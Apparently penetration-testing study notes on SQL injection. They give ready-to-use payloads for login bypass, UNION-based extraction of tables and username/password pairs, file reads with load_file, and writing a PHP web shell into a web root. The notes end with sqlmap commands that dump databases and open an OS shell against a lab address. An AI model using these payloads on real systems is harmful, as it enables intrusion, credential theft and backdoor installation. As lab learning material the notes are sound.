SQL Injection

  • Occurs when a user input isn’t sanitized and the input is used in a database query

Basic SQL Syntax

  • The queries might need to be adjusted depending on the target database, but usually the syntax is very similar if not the same

Identifying SQL Injection Vulnerabilities

  • Common locations where data passes through a database:
    • Authentication
    • Products on a E-Commerce site
    • message threads on a forum
  • If the application doesn’t sanitize the character ', we can probably have a SQL vulnerability
  • To test simply pass the character to any input field where a DB might be behind and check for syntax error messages

Authentication Bypass

  • Imagine the SQL query in the backend is: select * from users where name = 'username' and password = 'password';
  • And we send this payload in the username field blabla' or 1=1 LIMIT 1;#

Enumerating the Database

Column Number Enumeration

  • Payload: 1 order by 1
    • increase the last 1 until you get an error
  • Use burp Intruder to automate and search for the error

Understanding the Layout of the Output

  • To understand which colum is displayed use: 1 union all select 1,2,3

Extracting Data from the Database

  • Payloads using union to display data from other tables:
  • 1 union all select 1,2,@@version
  • 1 union all select 1,2,user()
  • 1 union all select 1,2,table_name from information_schema.tables
  • 1 union all select 1, 2, column_name from information_schema.columns where table_name='users'
  • 1 union all select 1, username, password from users

From SQL Injection to Code Execution

  • Read and Write files on the underlying system, but this depends on the OS, Service Privileges and File Permissions
    • Test if we can read a file using load_file(): 1 union all select 1, 2, load_file('C:/Windows/System32/drivers/etc/hosts')
    • Test if we can write a file using into OUTFILE: 1 union all select 1, 2, "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php'
      • c:/xampp/htdocs/ is the web root
    • Test: http://10.11.0.22/backdoor.php?cmd=ipconfig

Automating SQL Injection

  • Test if its vulnerable: sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id"
    • -u: Specify the url we want to scan
    • -p: Specify the parameter to test
  • Extract data: sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id" --dbms=mysql --dump
    • --dbms=mysql: Set the DB type (MariaDB and MySQL are very similar so this will work)
    • --dump: Dump the contents of all tables in the database
  • Try to establish a Web Shell: sqlmap -u http://10.11.0.22/debug.php?id=1 -p "id" --dbms=mysql --os-shell
  • sqlmap also does lots more, like Web Application Firewall (WAF) bypassing

Relevant Note(s):